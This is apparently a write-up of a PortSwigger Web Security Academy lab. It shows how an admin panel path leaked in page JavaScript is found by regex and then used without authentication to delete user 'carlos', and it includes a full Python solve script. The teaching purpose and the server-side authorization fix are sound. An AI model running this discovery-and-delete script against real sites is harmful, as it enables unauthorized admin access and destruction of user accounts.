LearnAccess Control › Lab: Unprotected admin functionality with unpred…

Lab: Unprotected admin functionality with unpredictable URL

PortSwigger Apprentice Access Control

Original lab: Lab: Unprotected admin functionality with unpredictable URL on PortSwigger ↗

Hiding a sensitive endpoint behind a random-looking URL feels like it should work — there's no robots.txt entry to leak it and no wordlist likely to guess it. But "unpredictable" only holds if the URL never appears anywhere the client can read it, and client-side JavaScript is client-side by definition: anything the browser needs to reach that URL, an attacker's browser can read too.

The Target

Same shape of application as the previous lab — a small blog site with an admin panel capable of deleting users — except this time the panel's path isn't a guessable string like /administrator-panel. It's something random. The only thing that's changed is how the site itself reaches that panel.

The Investigation

If robots.txt isn't going to give up the path this time, the next place worth checking is whatever JavaScript the homepage ships to the browser. A site that needs to link to its own admin panel from somewhere — even a hidden link, even a comment — has to embed that URL in something the client parses, and unlike a server-side redirect, that's fully visible to us.

We fetched the homepage and ran a regex over the raw HTML/JS looking for anything path-shaped with "admin" in it:

regex: ['"](/[a-zA-Z0-9_-]*admin[a-zA-Z0-9_/-]*)['"]  -- Extract from page source

That caught a JavaScript-embedded reference to the real admin panel path, sitting in the page source the whole time — not linked in any visible menu, but present in the markup a browser actually loads to render the page.

The Exploit

With the path extracted from the page source, loading it directly returned the same kind of unauthenticated admin interface as the previous lab. We located the delete link for carlos and followed it:

GET /<unpredictable-admin-path>
GET /<unpredictable-admin-path>/delete?username=carlos

carlos was deleted, and the lab flipped to solved on the next homepage check.

Comparing Notes: PortSwigger's Official Solution

PortSwigger's solution follows the identical path: review the lab home page's source with developer tools or Burp, notice the JavaScript disclosing the admin panel URL, load the panel, delete carlos. The reasoning is the same reasoning we applied — a URL that has to be reachable by legitimate client-side code can't stay secret from anyone reading that same code.

The only difference is mechanical: PortSwigger reads the page source by eye in the browser's dev tools, while our script parsed the same HTML with a regex tuned to admin-shaped paths. Both land on the same disclosed URL through the same underlying weakness.

What This Teaches Us

"Unpredictable" is not the same as "secret." A URL becomes genuinely inaccessible to an attacker only if the attacker's browser never has a legitimate reason to load it — and the moment a front-end needs to link to an endpoint, that endpoint's address becomes part of the client-visible attack surface, security through obscurity or not. The fix is identical to the previous lab: the admin panel needs a real server-side authorization check. An unguessable path buys nothing against an attacker who can read the same JavaScript the intended admin user's browser does.


The automated solution

Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.

Show the solution script (Python)
#!/usr/bin/env python3
"""
Unprotected admin functionality with unpredictable URL
PortSwigger Web Security Academy -- Access Control

Companion script for the writeup: 02-unprotected-admin-functionality-unpredictable-url.md

What this does:
    Fetches the homepage and regex-matches the raw HTML/JS for anything
    path-shaped containing "admin" -- the panel's URL is random, but it still
    has to be embedded somewhere the client can read it to link to it. Once
    found, it loads the panel, locates the delete link for carlos, and
    follows it.

Usage:
    python 02-unprotected-admin-functionality-unpredictable-url.py <lab-url>

Requirements:
    pip install httpx
"""

import re
import sys
import httpx
from urllib.parse import urljoin


def solve(lab_url: str) -> None:
    client = httpx.Client(follow_redirects=True, timeout=15)

    home = client.get(lab_url)
    js_match = re.search(r"""['"](/[a-zA-Z0-9_-]*admin[a-zA-Z0-9_/-]*)['"]""", home.text, re.IGNORECASE)
    if not js_match:
        print("[-] No admin URL found in page source.")
        return

    admin_path = js_match.group(1)
    admin_url = f"{lab_url}{admin_path}"
    print(f"[+] Found admin URL in JS: {admin_path}")

    resp = client.get(admin_url)
    delete_match = re.search(r'href="([^"]*\?username=carlos[^"]*)"', resp.text, re.IGNORECASE)
    if not delete_match:
        delete_match = re.search(r'href="([^"]*delete[^"]*carlos[^"]*)"', resp.text, re.IGNORECASE)

    if delete_match:
        delete_path = delete_match.group(1)
        delete_url = f"{lab_url}{delete_path}" if delete_path.startswith("/") else urljoin(admin_url + "/", delete_path)
        print(f"[*] Deleting carlos via: {delete_url}")
        client.get(delete_url)
    else:
        print("[*] No delete link found, trying common delete pattern")
        client.get(f"{admin_url}/delete", params={"username": "carlos"})

    check = client.get(lab_url)
    if "Congratulations" in check.text:
        print("[+] Lab solved -- carlos deleted via JS-disclosed admin panel.")
    else:
        print("[-] Not solved yet -- inspect the admin panel response for the real delete link.")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <lab-url>")
        sys.exit(1)
    solve(sys.argv[1].rstrip("/"))

Related labs

Want to go from zero to junior pentester?

These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.

Join the Free Live Webinar →